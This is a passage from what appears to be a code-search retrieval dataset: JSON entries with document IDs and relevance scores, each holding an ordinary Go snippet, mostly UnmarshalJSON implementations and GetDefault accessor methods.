data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAll19(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "78ccac22bc4e906a41eff3b81f5a673a", "score": "0.61376405", "text": "func FromJSON(i interface{}, r io.Reader) error {\n\td := json.NewDecoder(r)\n\treturn d.Decode(i)\n}", "title": "" }, { "docid": "d850a2c49f4d8948c0adc9eabeabe466", "score": "0.6137509", "text": "func (v *UserRepresentation) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson84c0690eDecodeGithubComAzukaKeycloakAdminGoKeycloak1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "03d76df7b5d818052053a715cb603fd2", "score": "0.6130235", "text": "func (j *NativeAdMarkupInner) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "2d1192d30a16e72905e38bf7127d4d00", "score": "0.6129753", "text": "func (t *Timestamp) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\t*t = getDate(s)\n\treturn nil\n}", "title": "" }, { "docid": "5ae9bdcc4b4ee9e59985b9068659db74", "score": "0.61278474", "text": "func (a *activityResponse) UnmarshalJSON(buf []byte) error {\n\tvar r response\n\tif err := json.Unmarshal(buf, &r); err != nil {\n\t\treturn err\n\t}\n\tvar ac Activity\n\tif err := json.Unmarshal(buf, &ac); err != nil {\n\t\treturn err\n\t}\n\tdelete(ac.Extra, \"duration\")\n\tdelete(ac.Extra, \"ratelimit\")\n\t*a = activityResponse{response: r, Activity: ac}\n\treturn nil\n}", "title": "" }, { "docid": "6153a29d1f52643df54fc09c6c00b25b", "score": "0.61238873", "text": "func (c *Container) UnmarshalJSON(b []byte) (err error) {\n\tvar data map[string]interface{}\n\tif err = json.Unmarshal(b, &data); err != nil {\n\t\treturn err\n\t}\n\n\tc.Name = data[\"name\"].(string)\n\tc.State = data[\"state\"].(string)\n\tc.PrivateIP = data[\"primary_ip\"].(string)\n\n\tif serviceIndex := data[\"service_index\"]; serviceIndex != nil {\n\t\tc.ServiceIndex, _ = strconv.ParseInt(serviceIndex.(string), 10, 64)\n\t}\n\n\tif hostUUID := data[\"host_uuid\"]; hostUUID != nil {\n\t\tc.Host.UUID = hostUUID.(string)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "17c423ab62393a244c255a656600e641", "score": "0.61217624", "text": "func (j *Impression) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "daf4de454deb89e94463719149984475", "score": "0.611666", "text": "func (v *SyntheticsCheckType) UnmarshalJSON(src []byte) error {\n\tvar value string\n\terr := json.Unmarshal(src, &value)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*v = SyntheticsCheckType(value)\n\treturn nil\n}", "title": "" }, { "docid": "25fd95d0392a110e7e17ac104a2317df", "score": "0.6106127", "text": "func (future *CreateOrUpdateFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}", "title": "" }, { "docid": "f43c4d37d955b5405cec8f0491daaa0c", "score": "0.6105475", "text": "func (v *Article) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeNewsapiGolang1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "9d6dca9f2002cb4952089cf4f81e63be", "score": "0.6097954", "text": "func (c *Collection) UnmarshalJSON(b []byte) error {\n\tvar genC gen.Collection\n\tif err := json.Unmarshal(b, &genC); err != nil {\n\t\treturn err\n\t}\n\n\tc.Collection = &genC\n\tnode := ItemTreeNode{}\n\tif err := populateItemGroup(&node, c.Collection.Item); err != nil {\n\t\treturn err\n\t}\n\n\tc.Items = &ItemTree{\n\t\tRoot: node,\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2a8e234c8039764e12ed634049978068", "score": "0.6090039", "text": "func (d *DataType) UnmarshalJSON(b []byte) error {\n\tvar j string\n\terr := json.Unmarshal(b, &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\n\t*d = toID[j]\n\treturn nil\n}", "title": "" }, { "docid": "24355a78571a293073987f8d562047a7", "score": "0.6088534", "text": "func (t *MasscanTime) UnmarshalJSON(b []byte) error {\n\ts := strings.Trim(strings.TrimSpace(string(b)), `\"`)\n\n\ti, err := strconv.ParseInt(s, 10, 64)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*t = MasscanTime{time.Unix(i, 0)}\n\n\treturn nil\n}", "title": "" }, { "docid": "d20ea5bee7c8ff3e210b3d35ecd03ae7", "score": "0.60788214", "text": "func (sc *SetConfigRequest) UnmarshalJSON(data []byte) error {\n\tvar err error\n\ttest := struct {\n\t\tKey *string `json:\"key\"`\n\t\tValue *string `json:\"value\"`\n\t}{}\n\n\t//Verify that incoming string will unmarshal successfully\n\tif err = json.Unmarshal(data, &test); err != nil {\n\t\treturn err\n\t}\n\n\t//If verified, copy the fields\n\tif test.Key != nil {\n\t\tsc.Key = *test.Key\n\t}\n\n\tif test.Value != nil {\n\t\tsc.Value = *test.Value\n\t}\n\n\tsc.isValidated, err = sc.Validate()\n\n\treturn err\n}", "title": "" }, { "docid": "da79e826067c5cd28b5669c3dfc3c7bb", "score": "0.6071138", "text": "func (v *SetVasReq) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson66c1e240DecodeGitRonaksoftwareComBlipServerPkgAdmin1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "9616920af6e6a3394a15f7aff05f40eb", "score": "0.60643387", "text": "func (r *toString) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn _toStringInvalidValueError{invalidValue: string(data)}\n\t}\n\treturn r.setValue(s)\n}", "title": "" }, { "docid": "517334ae433615f07f9977d750266ee5", "score": "0.6063016", "text": "func (uid *UUID) UnmarshalJSON(b []byte) error {\n\n\tif err := json.Unmarshal(b, &uid.UUID); err != nil {\n\t\treturn err\n\t}\n\n\tuid.Valid = true\n\treturn nil\n}", "title": "" }, { "docid": "92eb32e56031d129affac28989643057", "score": "0.6062362", "text": "func (i *If) UnmarshalJSON(data []byte) error {\n\tvar sch Schema\n\tif err := json.Unmarshal(data, &sch); err != nil {\n\t\treturn err\n\t}\n\t*i = If{Schema: sch}\n\treturn nil\n}", "title": "" }, { "docid": "680352278e9f08b8bf77aeb3d6852b87", "score": "0.60610485", "text": "func (n *Needs) UnmarshalJSON(b []byte) error {\n\ta := &attributes{}\n\n\tif err := json.Unmarshal(b, a); err != nil {\n\t\treturn err\n\t}\n\n\tn.attributes = a\n\n\treturn nil\n}", "title": "" }, { "docid": "822fb0796306446a20324e4e9cbbc08f", "score": "0.6053864", "text": "func (v *RunnerCatalogue) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson8e2f8dd8DecodeGithubComTarbBfapi10(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "e452cf363716550bcb03c5a6babeb174", "score": "0.60529053", "text": "func (a *Atomic[T]) UnmarshalJSON(b []byte) error {\n\ta.mu.Lock()\n\tdefer a.mu.Unlock()\n\n\treturn json.Unmarshal(b, &a.v)\n}", "title": "" }, { "docid": "8a1b607d68bfbc4622df181c842b0b7e", "score": "0.60517406", "text": "func (u *UnstructuredAccessType) UnmarshalJSON(data []byte) error {\n\ttypedObj := ObjectType{}\n\tif err := json.Unmarshal(data, &typedObj); err != nil {\n\t\treturn err\n\t}\n\n\tobj := UnstructuredAccessType{\n\t\tObjectType: typedObj,\n\t}\n\tif err := obj.SetData(data); err != nil {\n\t\treturn err\n\t}\n\t*u = obj\n\treturn nil\n}", "title": "" }, { "docid": "b1ea406936e81704d7aa7220e76dba12", "score": "0.6051545", "text": "func (a *AnswerVal) UnmarshalJSON(b []byte) (err error) {\n\tvar s string\n\tif err = json.Unmarshal(b, &s); err != nil {\n\t\treturn\n\t}\n\t*a, err = parseAnswer(s)\n\treturn\n}", "title": "" }, { "docid": "8cb5f052640878413238aad09c02f33a", "score": "0.60501605", "text": "func (a *UnitConvertResponse) UnmarshalJSON(data []byte) error {\n\ttype Alias UnitConvertResponse\n\tchil := &struct {\n\t\t*Alias\n\t\tConvertType int `json:\"type,string\"`\n\t}{\n\t\tAlias: (*Alias)(a),\n\t}\n\tif err := json.Unmarshal(data, chil); err != nil {\n\t\treturn err\n\t}\n\tswitch chil.ConvertType {\n\tcase 1:\n\t\ta.ConvertType = 1\n\tcase 2:\n\t\ta.ConvertType = 2\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "164f389c06f1dc8c26c79cbe4f6fe760", "score": "0.6046902", "text": "func (m *Metadata) UnmarshalJSON(js []byte) error {\n\te := json.Unmarshal(js, &m.Version)\n\tif e != nil {\n\t\treturn e\n\t}\n\n\te = json.Unmarshal(js, &m.DatasetDetails)\n\tif e != nil {\n\t\treturn e\n\t}\n\tm.DatasetDetails.Links = Links{}\n\n\tvar dl struct {\n\t\tLinks `json:\"dataset_links,omitempty\"`\n\t}\n\te = json.Unmarshal(js, &dl)\n\tif e != nil {\n\t\treturn e\n\t}\n\tm.DatasetLinks = dl.Links\n\n\treturn nil\n}", "title": "" }, { "docid": "27a100a485015f4af3c7cc99eee97098", "score": "0.6045842", "text": "func (j *Account) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "485115602ac4ca0c0379378d47d1895e", "score": "0.6045253", "text": "func (v *Merchant) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson461f4b12DecodeMonzoTransactionsMonzo1(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "676137d926a1343fdc1f96d7127b7187", "score": "0.6041614", "text": "func (v *Article) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC80ae7adDecodeGithubComDipressCrmifcInternalArticle3(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "7e4454b84bc0a5a6c7d9584506a33cdc", "score": "0.60381347", "text": "func FromJSONUnMarshal(err error, obj string) error {\n\treturn status.Errorf(codes.Internal, \"failed to json unmarshal %s: %v\", obj, err)\n}", "title": "" }, { "docid": "8d64e134d1c21d63720a03610b1f0340", "score": "0.6036109", "text": "func (j *interactionOptions) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "28252e21f671b21d80e1d55e5121162f", "score": "0.6035419", "text": "func JSONUnmarshal(data []byte, v interface{}) error {\n\treturn json.Unmarshal(data, v)\n}", "title": "" }, { "docid": "1cfda25099df4a3a5ee23a912fa62b08", "score": "0.603377", "text": "func (pTypeDef *MapTest) UnmarshalJSON(b []byte) error {\n\tvar r rawMapTest\n\terr := json.Unmarshal(b, &r)\n\tif err == nil {\n\t\to := MapTest(r)\n\t\t*pTypeDef = *((&o).Init())\n\t\terr = pTypeDef.Validate()\n\t}\n\treturn err\n}", "title": "" }, { "docid": "34340f371b0c1ce3ece29159a7ec571c", "score": "0.6033058", "text": "func (v *category) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeAstralTestMysql4(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "2e3f82a2902831b745ec3e5df6689ad6", "score": "0.60328466", "text": "func (alt *Alternative) UnmarshalJSON(b []byte) error {\n\tvar ralt RawAlternative\n\tif err := json.Unmarshal(b, &ralt); err != nil {\n\t\treturn err\n\t}\n\talt.Name = ralt.Name\n\talt.Cmd = ralt.Cmd\n\tif ralt.Type != nil {\n\t\tnode, err := unmarshalTypeNode(ralt.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\talt.Type = node\n\t}\n\talt.List = ralt.List\n\treturn nil\n}", "title": "" }, { "docid": "0653d39d3522bb79a0a112d5140fec24", "score": "0.603222", "text": "func (v *Ads) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson63cbde9bDecodeGithubComSaskamegaprogrammistLostiesBackendModels(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "73c697736dcc2300453d7d33679811f7", "score": "0.60318506", "text": "func (a *TickerResponse) UnmarshalJSON(data []byte) error {\n\ttype Alias TickerResponse\n\tchil := &struct {\n\t\t*Alias\n\t\tInstrumentType string `json:\"instType\"`\n\t}{\n\t\tAlias: (*Alias)(a),\n\t}\n\tif err := json.Unmarshal(data, chil); err != nil {\n\t\treturn err\n\t}\n\tvar err error\n\tchil.InstrumentType = strings.ToUpper(chil.InstrumentType)\n\tif a.InstrumentType, err = GetAssetTypeFromInstrumentType(chil.InstrumentType); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5d34172708d064fa005bdc529917c006", "score": "0.60301286", "text": "func (a *APIVersionSetEntityBase) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &a.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"versionHeaderName\":\n\t\t\terr = unpopulate(val, \"VersionHeaderName\", &a.VersionHeaderName)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"versionQueryName\":\n\t\t\terr = unpopulate(val, \"VersionQueryName\", &a.VersionQueryName)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "141f67c2473528bbc6f2c9d96df11322", "score": "0.602714", "text": "func UnmarshalJSON[T any](body io.ReadCloser) (*T, error) {\n\tvar obj T\n\tif err := json.NewDecoder(body).Decode(&obj); err != nil {\n\t\treturn nil, ErrUnmarshalJSON\n\t}\n\treturn &obj, nil\n}", "title": "" }, { "docid": "f116bbd1a8a4c53a6e077050b4cc627d", "score": "0.6023287", "text": "func (r *Unknown) UnmarshalJSON(data []byte) error {\n\tif err := json.Unmarshal(data, &r.unknown); err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\tif err := r.Raw.UnmarshalJSON(data); err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fec5fb1f6fc6de597148da0ad0442866", "score": "0.6021307", "text": "func (v *SetAttitudeTarget) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonFa90ddaeDecodeGithubComAsmyasnikovGoMavlinkMavlinkDialectsAll25(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "67bbd975dc9ccf10045f30a8a37e95c1", "score": "0.60210866", "text": "func (v *Bid) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson31527abDecodeGithubComKrecuYahb(&r, v)\n\treturn r.Error()\n}", "title": "" }, { "docid": "cf922acf6b266d5c65deecedc03cc0a7", "score": "0.60186666", "text": "func (x *Opt) UnmarshalJSON(data []byte) (e error) {\r\n\tv := x.Value.Load()\r\n\te = json.Unmarshal(data, &v)\r\n\te = x.Set(int(v))\r\n\treturn\r\n}", "title": "" }, { "docid": "7af4c9b3970f310161635fe94a9e39fd", "score": "0.6012953", "text": "func (data *BlockData) UnmarshalJSON(jsonData []byte) error {\n\tvar dataString string\n\tif err := json.Unmarshal(jsonData, &dataString); err != nil {\n\t\treturn err\n\t}\n\t*data = BlockData(dataString)\n\treturn nil\n}", "title": "" } ]
7ba5b9472225ef73729ccac8b18e454d
GetDefault returns the Default field if nonnil, zero value otherwise.
[ { "docid": "c89174dfce3d251aeb4b5dca76290ff0", "score": "0.6845935", "text": "func (w *Widget) GetDefault() string {\n\tif w == nil || w.Default == nil {\n\t\treturn \"\"\n\t}\n\treturn *w.Default\n}", "title": "" } ]
[ { "docid": "9d77f4f0557b3a3b95b3a5a582ee9a7a", "score": "0.74167883", "text": "func (q Query) GetDefault(name string, defaultValue string) string {\n\tif v := q.Get(name); v != \"\" {\n\t\treturn v\n\t}\n\treturn defaultValue\n}", "title": "" }, { "docid": "4edcf8bccc22b5d6c7c5fc285cf462b3", "score": "0.73902655", "text": "func (r *Store) GetDefault(key string, def interface{}) interface{} {\n\tv := r.GetEntry(key)\n\tif v == nil || v.ValueRaw == nil {\n\t\treturn def\n\t}\n\tvv := v.Value()\n\tif vv == nil {\n\t\treturn def\n\t}\n\treturn vv\n}", "title": "" }, { "docid": "7e5068ef11f99ad705a5740f07efaa94", "score": "0.7377411", "text": "func (r *Store) GetDefault(key string, def interface{}) interface{} {\n\tv, ok := r.GetEntry(key)\n\tif !ok || v.ValueRaw == nil {\n\t\treturn def\n\t}\n\tvv := v.Value()\n\tif vv == nil {\n\t\treturn def\n\t}\n\treturn vv\n}", "title": "" }, { "docid": "848e15a7ae0fd1271bdafbdb1af946fe", "score": "0.73472023", "text": "func (f *Field) Default() any {\n\tif f.def == nullDefault {\n\t\treturn nil\n\t}\n\n\treturn f.def\n}", "title": "" }, { "docid": "ed66f8bc3745391aa6d6125d508797a2", "score": "0.7280029", "text": "func (s *FieldSchema) DefaultOrZero() interface{} {\n\tif s.Default != nil {\n\t\treturn s.Default\n\t}\n\n\treturn s.Type.Zero()\n}", "title": "" }, { "docid": "18c1f419fada8bc52ec1df9fac05b0f1", "score": "0.7277751", "text": "func (p *payload) GetDefault(dv interface{}) interface{} {\n\treturn p.Get(PayloadDefault, dv)\n}", "title": "" }, { "docid": "570fa68075d9ec8f54c0de746be3dde8", "score": "0.72602844", "text": "func (conf *conf) GetDefault(name string) Valuer {\n\tif val, ok := conf.defaults[name]; ok {\n\t\treturn val\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ca2039a3cbe586c5821c2a7ff702fa41", "score": "0.7235594", "text": "func (s *FieldSchema) DefaultOrZero() interface{} {\n\tif s.Default != nil {\n\t\tswitch s.Type {\n\t\tcase TypeDurationSecond:\n\t\t\tvar result int\n\t\t\tswitch inp := s.Default.(type) {\n\t\t\tcase nil:\n\t\t\t\treturn s.Type.Zero()\n\t\t\tcase int:\n\t\t\t\tresult = inp\n\t\t\tcase int64:\n\t\t\t\tresult = int(inp)\n\t\t\tcase float32:\n\t\t\t\tresult = int(inp)\n\t\t\tcase float64:\n\t\t\t\tresult = int(inp)\n\t\t\tcase string:\n\t\t\t\tdur, err := parseutil.ParseDurationSecond(inp)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn s.Type.Zero()\n\t\t\t\t}\n\t\t\t\tresult = int(dur.Seconds())\n\t\t\tcase json.Number:\n\t\t\t\tvalInt64, err := inp.Int64()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn s.Type.Zero()\n\t\t\t\t}\n\t\t\t\tresult = int(valInt64)\n\t\t\tdefault:\n\t\t\t\treturn s.Type.Zero()\n\t\t\t}\n\t\t\treturn result\n\n\t\tdefault:\n\t\t\treturn s.Default\n\t\t}\n\t}\n\n\treturn s.Type.Zero()\n}", "title": "" }, { "docid": "b611a3373598f71ba2376b450d978015", "score": "0.7181418", "text": "func (fps *UpdateNotificationRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "35cc16f37b1afe2a9a02b6fea43e977d", "score": "0.7172486", "text": "func (fps *CreateNotificationRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "fc4ab3a09d2a2dcf5d11e692079bc7ac", "score": "0.7124602", "text": "func (fps *SearchNotificationsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "cd6cf14f340788ba435067c54d0989a5", "score": "0.71196645", "text": "func (fps *BatchGetNotificationsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "9ff1e25bbea5ce91e7648557ebbfbb06", "score": "0.70972455", "text": "func (fps *UpdateNotificationRequestCAS_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "8dca7c2d7122be321461a93126f2a8a1", "score": "0.70970476", "text": "func (fps *UpdateAlertRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "3c108973c7ba61d1ccaabec82164b17b", "score": "0.7067189", "text": "func (fps *CreateAlertRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "de706760392af94d3712b1ae71c65f1f", "score": "0.70610416", "text": "func (fps *UpdateAlertRequestCAS_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "318fd338414aeb700605bfa28f7dec10", "score": "0.7042526", "text": "func (fps *BatchGetAlertsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "296f75f68d53455b710c252ca769f84c", "score": "0.7010975", "text": "func (fps *ListNotificationsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "904994fe9b701b79b34fe7bda6db107a", "score": "0.7005079", "text": "func (fps *WatchNotificationsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "23357a7ac760e0ad674a77fdb7b20a4d", "score": "0.6981408", "text": "func (fps *MonitoredResourceDescriptor_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "46d2061d34c8730036af70994e5ac27d", "score": "0.6960696", "text": "func (fp *SearchNotificationsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase SearchNotificationsRequest_FieldPathSelectorParent:\n\t\treturn (*notification.ParentName)(nil)\n\tcase SearchNotificationsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase SearchNotificationsRequest_FieldPathSelectorPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase SearchNotificationsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*notification.OrderBy)(nil)\n\tcase SearchNotificationsRequest_FieldPathSelectorFilter:\n\t\treturn (*notification.Filter)(nil)\n\tcase SearchNotificationsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase SearchNotificationsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase SearchNotificationsRequest_FieldPathSelectorPhrase:\n\t\treturn \"\"\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for SearchNotificationsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "9563f5c91d0d0766cd0ef661db2e0d7d", "score": "0.69480604", "text": "func (t *TemplateVariable) GetDefault() string {\n\tif t == nil || t.Default == nil {\n\t\treturn \"\"\n\t}\n\treturn *t.Default\n}", "title": "" }, { "docid": "8a3f3d4749903f54def8a5f17924eec4", "score": "0.6929968", "text": "func (fps *UpdateMethodDescriptorRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "651eca103dd97223dff686804f5c30b8", "score": "0.69274247", "text": "func (fps *ListAlertsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "7f5b4cf01ae3d4521c37f6ed95877f6b", "score": "0.6921825", "text": "func (c *Combined) GetDefault(key string, defVal string) string {\n\tval, ok := c.Get(key)\n\tif ok {\n\t\treturn val\n\t} else {\n\t\treturn defVal\n\t}\n}", "title": "" }, { "docid": "7469af1ee1ca7b1f695e63acb1b13ba2", "score": "0.692145", "text": "func (fps *WatchAlertsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "7634fcbff195f5926c92416f0681cb4f", "score": "0.6919964", "text": "func (r Repository) GetDefault(key, d string) string {\n\tv, ok := r.values[key]\n\tif !ok {\n\t\treturn d\n\t}\n\n\treturn v\n}", "title": "" }, { "docid": "2ba0d365deb4ea8ef7290c5ed44e3232", "score": "0.6914724", "text": "func (s *Uint) GetDefault() interface{} {\n\treturn s.Default\n}", "title": "" }, { "docid": "d9b2a547f9dc7c21b6be034d27e5d692", "score": "0.68842185", "text": "func (fp *Status_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase Status_FieldPathSelectorCode:\n\t\treturn int32(0)\n\tcase Status_FieldPathSelectorMessage:\n\t\treturn \"\"\n\tcase Status_FieldPathSelectorDetails:\n\t\treturn ([]*any.Any)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for Status: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "68dfa62d65f8c5fdc30ef27d701de2a6", "score": "0.6870143", "text": "func (m Map) GetDefault(k string, v string) Value {\n\tx := m.Get(k)\n\n\tif x.IsZero() {\n\t\treturn String(v)\n\t}\n\n\treturn x\n}", "title": "" }, { "docid": "92d252af5aa914ce2db2f236e3e9b188", "score": "0.6864387", "text": "func (fp *GetNotificationRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase GetNotificationRequest_FieldPathSelectorName:\n\t\treturn (*notification.Reference)(nil)\n\tcase GetNotificationRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase GetNotificationRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for GetNotificationRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "121f4bcd527924246f177f36a3046186", "score": "0.6862262", "text": "func (fp *ListNotificationsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase ListNotificationsRequest_FieldPathSelectorParent:\n\t\treturn (*notification.ParentName)(nil)\n\tcase ListNotificationsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase ListNotificationsRequest_FieldPathSelectorPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase ListNotificationsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*notification.OrderBy)(nil)\n\tcase ListNotificationsRequest_FieldPathSelectorFilter:\n\t\treturn (*notification.Filter)(nil)\n\tcase ListNotificationsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase ListNotificationsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase ListNotificationsRequest_FieldPathSelectorIncludePagingInfo:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for ListNotificationsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "cddebe2ef564030aa8b05e5af093aeba", "score": "0.6862068", "text": "func getDefaultValue(info tableInfo) interface{} {\n\tif !info.Default.Valid && info.Null.String == \"YES\" {\n\t\treturn nil\n\t} else if !info.Default.Valid {\n\t\tswitch info.ColumnType.String {\n\t\tcase \"int(11)\":\n\t\t\treturn float64(0)\n\t\tcase \"varchar(255)\":\n\t\t\treturn \"\"\n\t\tcase \"text\":\n\t\t\treturn \"\"\n\t\tcase \"float\":\n\t\t\treturn float64(0)\n\t\t}\n\t}\n\treturn info.Default.String\n}", "title": "" }, { "docid": "029348830d9a6e231c1d12aa10d6ea68", "score": "0.68603253", "text": "func (fps *CreateMethodDescriptorRequest_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "7c5cbd05cb3e2cd59493b5a69af8f357", "score": "0.68367594", "text": "func (fps *UpdateMethodDescriptorRequestCAS_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "3859d311a71716ebde6bfb0b79936fcf", "score": "0.6810013", "text": "func (fm *FieldModelEnumInt64) GetDefault(defaults EnumInt64) (*EnumInt64, error) {\n var value EnumInt64\n err := fm.GetValueDefault(&value, defaults)\n return &value, err\n}", "title": "" }, { "docid": "6f0764f63c5a2fa5acccfd6c4ded357d", "score": "0.67992055", "text": "func (o *DashboardTemplateVariable) GetDefault() string {\n\tif o == nil || o.Default.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Default.Get()\n}", "title": "" }, { "docid": "65409b67834f2dccf77252a45e6daa4c", "score": "0.67893755", "text": "func (r *Store) GetFloat64Default(key string, def float64) float64 {\n\tif v, err := r.GetFloat64(key); err == nil {\n\t\treturn v\n\t}\n\n\treturn def\n}", "title": "" }, { "docid": "209a1baf0e5bda17748a80b916eac3e7", "score": "0.6783847", "text": "func (fp 